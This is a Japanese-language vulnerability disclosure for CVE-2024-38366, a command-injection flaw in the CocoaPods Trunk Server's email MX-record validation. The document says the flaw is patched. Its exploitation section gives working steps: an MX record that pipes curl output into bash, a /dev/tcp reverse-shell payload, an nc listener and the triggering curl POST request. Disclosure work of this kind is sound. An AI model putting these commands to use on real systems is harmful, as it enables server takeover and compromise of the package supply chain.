CocoaPods RCE脆弱性 CVE-2024-38366
このリポジトリには、CocoaPods パッケージマネージャーの調査と分析の過程で発見された RCE 脆弱性に関する、研究プロセスと考察のより詳細な内容が含まれています。
研究発表のブログ記事はこちらで読めます: https://www.evasec.io/blog/eva-discovered-supply-chain-vulnerabities-in-cocoapods
CocoaPods Trunk Server は、Apple エコシステム(特に iOS および macOS 開発)で使用される CocoaPods、重要なライブラリ、フレームワークの集中リポジトリおよび配布プラットフォームとして機能します。その主な目的は、これらのオープンソースリソースのシームレスな共有と管理を促進することです。
CocoaPods Trunk Server への開発者登録プロセスは、プラットフォームのセキュリティを確保するために以下の手順で構成されています。
研究当時、最新の trunk.cocoapods.org リリース(master ブランチ)が本番環境でテストされ、検証されました。 この脆弱性はその後パッチが適用され、現在は悪用できません。
脆弱性の根本原因は、メールアドレスドメインの検証ステップ(開発者登録プロセス中)の不十分な検証と、安全でないコマンド実行にあります。具体的には、攻撃者は入力を操作してドメインの Mail Exchanger(MX)レコード検証を回避し、Trunk サーバー上で任意の OS コマンドを注入して実行できるようにします。
これはプラットフォームのセキュリティに対する深刻な脅威であり、許可されていない個人がサーバーの整合性や保存データの機密性を侵害し、運用を妨害する可能性があります。
APP/CONTROLLERS/APP_CONTROLLER.RB
App Controller ファイルは、SessionsContoller を含む Trunk サーバーの API エンドポイントを定義し、/api/v1/sessions パスを介して提供します。

APP/CONTROLLERS/API/SESSIONS_CONTROLLER.RB
新しいセッションを生成するために、Session Controller ファイルは HTTP POST API エンドポイント /api/v1/sessions を提供します。
このエンドポイントは、ユーザーが提供した登録詳細("email"、"name"、"description" パラメータ)を処理します。その後、Owner.find_or_initialize_by_email_and_name メソッドを呼び出します。
この関数呼び出しには、"email" と "name" パラメータの値が含まれます。
APP/MODELS/OWNER.RB
Owner Model ファイルは find_or_initialize_by_email_and_name メソッドを定義しており、提供されたメールアドレスが存在するかどうかをチェックします。存在しない場合は、上記のパラメータを使用して新しい Owner オブジェクトを作成します。

オブジェクトが作成され、データベースに保存される直前に、Sequel フレームワークが validate メソッドを実行します。このメソッドには、RFC-822 パッケージにある複数のバリデーションが含まれています。
私たちは、RFC-822 パッケージを利用する validates_mx_record メソッドの実行に焦点を当てました。

RFC-822/LIB/RFC822.RB
このライブラリは mx_records メソッドを実装し、提供されたドメインが有効かどうかを検証します。さらに、host コマンドを使用して MX レコードの応答性を検証します。
このメソッドはまず、メールアドレス全体を定義されたメール正規表現パターンと比較し、提供されたメールがパターンに一致するかどうかをチェックします。パターンが一致しない場合、メソッドは空を返し、host コマンドによるアクティブチェックに進みません。
次に mx_records メソッドは raw_mx_records メソッドを呼び出し、email 値を操作します(最後の '@' 以降のドメイン部分のみを取得し、そのドメインをパラメータ値として host_mx メソッドを呼び出します)。

host_mx メソッドは任意の OS コマンドを実行し、ユーザーが提供したメールのドメインと連結します。
最終的に実行されるコマンドは次のとおりです。
/usr/bin/env host -t MX <ドメイン>
脆弱性の悪用を開始するために、HTTP POST リクエストを /api/v1/sessions API エンドポイントに送信しました。リクエストボディには、操作された入力を含めました。
主な目的は、MX レコード検証プロセスをトリガーすることでした。これにより、最終的に悪意のあるユーザー入力が評価・実行され、trunk サーバー上で OS コマンドが実行されることになります。
目標を達成し、完全にインタラクティブなリバースシェルを確立するには、いくつかの課題を克服する必要がありました。
reef<span>@evasec.io|curl{IFS}evasec.io のような単純なペイロードは効果がなく、サーバーは小文字で処理します。reef<span>@evasec.io|{curl,evasec.io} のようなペイロードは、ライブラリによって削除される以下の文字が含まれているため機能しません。
" " (スペース)"().,<>@[]ミッションを完了するには、直面した壁を乗り越える必要がありました。
私たちは、/usr/bin/env host -t MX <ドメイン> コマンドが制御可能な出力を提供し、これらの課題を回避できることを発見しました。
その出力を bash コマンドにパイプすることで、コード実行の機会を作り出すことができます。
例:
/usr/bin/env host -t MX <ドメイン> | bash
AWS の Route53 を介して管理している自ドメインの MX レコードを操作しました。 MX レコードには、以下の 有効な 文字列が含まれています。
10 a||{curl, -s,http://serve.evasecresearch.com/payload.txt}|bash||.com
ターゲット: 細工されたペイロードは、host コマンドによるドメイン検証中に実行されるように設定されました。
リモートコード実行を開始するために、POST /api/v1/sessions API エンドポイントと以下のペイロードを呼び出しました。
anything<span>@owned.domain|bash
ここで "owned.domain" は、上記のように悪意を持って細工された MX レコードを表します。
ペイロードサーバーの準備:Trunk サーバー上で実行するコードを含む payload.txt ファイルを提供するための Web サーバーをセットアップします。
sh -i >& /dev/tcp/SERVER/1337 0>&1悪意のある MX レコードの作成:ステップ 1 で準備したペイロードを取得して実行するように設計されたペイロードを含む新しい MX レコードを生成します。
10 a||{curl, -s,http://WEB_SERVER/payload.txt}|bash||.comリバースシェルリスナーのセットアップ:netcat(nc)などのリバースシェルリスナーを、公開アクセス可能なポートで起動します。
nc -lvp 1337リバースシェルの実行:リバースシェルの実行をトリガーする HTTP リクエストを送信します。これは curl コマンドを使用して行えます。
curl -X $'POST' -H $'Host: trunk.cocoapods.org' -H $'Content-Type: application/json; charset=utf-8' -H $'User-Agent: CocoaPods/1.12.1' --data-binary $'{\"email\":\"name@MX_RECORD_DOMAIN|bash\",\"name\":\"Your Name\",\"description\":null}' $'https://trunk.cocoapods.org/api/v1/sessions'


今回の研究で、CocoaPods Trunk Server 内に、任意のオペレーティングシステムコマンドの実行(完全にインタラクティブなリモートコード実行)を可能にする重大なセキュリティ脆弱性を特定しました。
許可されていない脅威行為者がサーバーを侵害した場合、広く使用されているライブラリに悪意のあるコードを混入させる可能性があります。これにより、侵害されたこれらの CocoaPods に依存する無数の iOS および macOS アプリケーションに深刻なセキュリティ脆弱性が生じる可能性があります。
さらに、脅威行為者はポッド仕様を操作したり、正当なライブラリの配布を妨害したり、CocoaPods エコシステム内で広範囲にわたる混乱を引き起こす可能性があります。